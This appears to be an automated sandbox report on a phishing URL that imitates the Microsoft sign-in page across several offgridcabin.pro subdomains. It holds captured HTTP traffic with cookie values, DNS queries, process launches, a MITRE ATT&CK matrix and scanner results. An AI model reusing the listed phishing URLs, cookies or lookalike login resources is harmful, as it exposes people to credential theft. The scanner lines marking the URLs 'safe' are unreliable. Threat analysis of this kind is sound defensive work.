esctx-hZ1cnqceY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEvOpajUsXp-inIhLyPrzcLwA0WBw42q5tjkqps7JgACkDRly0Oq8_yX2OWLulOiKBH-RBImGAvgMnpLkN7CahptnhTrlPNKUXWVxKNDn1I-P0G7bD5ea6qyxtYRKN-8bKkFE7FyaTbdqwY2DEw4YgVyAA; fpc=AmlwFQZQ3GVBg66ic6MZS6c; MicrosoftApplicationsTelemetryDeviceId=4195d1f9-56a9-4b7b-b142-b6a5ff5dc770; brcap=0
Source: global traffic	HTTP traffic detected: GET /s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999 HTTP/1.1Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.proConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/jsonAccept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; x-ms-gateway-slice=estsfd; esctx-dBsMBhShlY8=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeWzs6_Kevth9Uy4a-ZdD6qSVKHVb6mOfJp2xsDQsIfcErZmLI3Een2tQGj3NjtXpn1mm4wQLuCuKw2q7O0IXwAl1FOoznYSxDeOhFonwsUJ0_1IVgcL75xhVvJGKSseGOAza9hIcaH0JkUo4uGBjd6CAA; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AW4AqzBRR7ViQUKp00fjfJvCFakreHKQRANPjYJWI3DqNWYBAABuAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEIwtgjghHlMqRHvzwGgRVl-y4xgxhKnqVZQn8WboVTAJm387vgkWeMF4ZIzTIJXFdZMIlm-h5K-24HNhtV71ClTL2ZxTQ2UBt42JmtKsL-ksgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEdD7LZ96aSbMTy4SiTw39k6axxm3uHVNAxMsjdO2Wq8g-tCy05YfIB82F_YEHJO5VSiLuZwRI9I2lE0zqzn8r39SwnkDz1v0uvB-AHaQsbw0B0a3bKYjOJE39YtvCGXhlsMK-ssh5sVb1pv3KZr-obfUI-8QGZazOYwfMWlz47YIgAA; esctx-hZ1cnqceY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEvOpajUsXp-inIhLyPrzcLwA0WBw42q5tjkqps7JgACkDRly0Oq8_yX2OWLulOiKBH-RBImGAvgMnpLkN7CahptnhTrlPNKUXWVxKNDn1I-P0G7bD5ea6qyxtYRKN-8bKkFE7FyaTbdqwY2DEw4YgVyAA; fpc=AmlwFQZQ3GVBg66ic6MZS6c; MicrosoftApplicationsTelemetryDeviceId=4195d1f9-56a9-4b7b-b142-b6a5ff5dc770; brcap=0
Source: global traffic	HTTP traffic detected: GET /s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999 HTTP/1.1Host: 5krws8ak62qxb0g1obajeynsc.offgridcabin.proConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/jsonAccept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://5krws8ak62qxb0g1obajeynsc.offgridcabin.pro/Prefetch/Prefetch.aspxAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; s.SessID=d611f837-221c-4000-a7f7-2f83f4daa243; x-portal-routekey=wus

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: identity.nel.measure.office.net
Source: global traffic	DNS traffic detected: DNS query: kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: h9dpo0p6josn24k1zb55eul40.offgridcabin.pro
Source: global traffic	DNS traffic detected: DNS query: 5krws8ak62qxb0g1obajeynsc.offgridcabin.pro

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1945116169:1736799371:oqWYrklheVvIxV4s1RanDCpHrsoCSPH0m2JWX3kpTuc/901845b24f0c41e0/Of3CPy62WbuABclT3jxmzybeUyjxGUg5boEL32X7soQ-1736801569-1.1.1.1-TDmdVZYLV4LqtnF4bTXyIP.U6R14yzywkyGQLLHcvQFOKkGEivFpN5pHtNnDJe8g HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3268sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedCF-Chl-RetryAttempt: 0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: Of3CPy62WbuABclT3jxmzybeUyjxGUg5boEL32X7soQ-1736801569-1.1.1.1-TDmdVZYLV4LqtnF4bTXyIP.U6R14yzywkyGQLLHcvQFOKkGEivFpN5pHtNnDJe8gsec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/iknh7/0x4AAAAAAA4sf2kw7YnXl1bZ/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 13 Jan 2025 20:52:52 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: kfb/CFVUsCFj7z0Ombwp+g==$IpSG9xEpJ2PbgxN1hXhb+g==Server: cloudflareCF-RAY: 901845c68920f799-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 13 Jan 2025 20:52:56 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: q8lraSXTdamOgAuEkhGeWw==$FR9OMmy2HuJrcasNU+vxcQ==Server: cloudflareCF-RAY: 901845df5bdbf795-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Found

Source: chromecache_99.3.dr, chromecache_106.3.dr	String found in binary or memory: http://feross.org
Source: chromecache_89.3.dr, chromecache_87.3.dr	String found in binary or memory: http://gsgd.co.uk/sandbox/jquery/easing/
Source: chromecache_100.3.dr, chromecache_98.3.dr, chromecache_103.3.dr, chromecache_101.3.dr, chromecache_82.3.dr, chromecache_95.3.dr, chromecache_108.3.dr, chromecache_114.3.dr	String found in binary or memory: http://knockoutjs.com/
Source: chromecache_100.3.dr, chromecache_98.3.dr, chromecache_103.3.dr, chromecache_101.3.dr, chromecache_82.3.dr, chromecache_95.3.dr, chromecache_108.3.dr, chromecache_114.3.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php)
Source: chromecache_83.3.dr	String found in binary or memory: https://fontawesome.com
Source: chromecache_83.3.dr	String found in binary or memory: https://fontawesome.com/license/free
Source: chromecache_100.3.dr, chromecache_98.3.dr, chromecache_80.3.dr, chromecache_103.3.dr, chromecache_113.3.dr, chromecache_101.3.dr, chromecache_76.3.dr, chromecache_82.3.dr, chromecache_95.3.dr, chromecache_99.3.dr, chromecache_108.3.dr, chromecache_107.3.dr, chromecache_106.3.dr, chromecache_114.3.dr	String found in binary or memory: https://github.com/douglascrockford/JSON-js

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 50086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49870 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50086 version: TLS 1.2

Source: classification engine

Classification label: mal60.phis.win@18/66@32/8

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2576 --field-trial-handle=2496,i,10734926568364390931,855498172999670829,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/JLSQqjDK"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2576 --field-trial-handle=2496,i,10734926568364390931,855498172999670829,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/JLSQqjDK	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/favicon.ico	0%	Avira URL Cloud	safe
https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999/8f2420ea4a9ef1f09cf039a427ec755182725ef82125633936a0b7b83a6f0a53.js	0%	Avira URL Cloud	safe
https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js	0%	Avira URL Cloud	safe
https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css	0%	Avira URL Cloud	safe
https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/common/GetCredentialType?mkt=en-US	0%	Avira URL Cloud	safe
https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg	0%	Avira URL Cloud	safe
https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999.js	0%	Avira URL Cloud	safe
https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif	0%	Avira URL Cloud	safe
https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_v20ia-gahguvu2fgvxamhg2.js	0%	Avira URL Cloud	safe
https://5krws8ak62qxb0g1obajeynsc.offgridcabin.pro/s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999	0%	Avira URL Cloud	safe
https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg	0%	Avira URL Cloud	safe
https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js	0%	Avira URL Cloud	safe
https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js	0%	Avira URL Cloud	safe
https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js	0%	Avira URL Cloud	safe
https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif	0%	Avira URL Cloud	safe
https://5krws8ak62qxb0g1obajeynsc.offgridcabin.pro/Prefetch/Prefetch.aspx	0%	Avira URL Cloud	safe
https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/common/handlers/watson	0%	Avira URL Cloud	safe
https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999	0%	Avira URL Cloud	safe
https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js	0%	Avira URL Cloud	safe
https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js	0%	Avira URL Cloud	safe
https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg	0%	Avira URL Cloud	safe
https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/JLSQqjDK?g=h5xUM2Q	0%	Avira URL Cloud	safe
https://h9dpo0p6josn24k1zb55eul40.offgridcabin.pro/Me.htm?v=3	0%	Avira URL Cloud	safe
https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_510f960da65b56e0607c.js	0%	Avira URL Cloud	safe
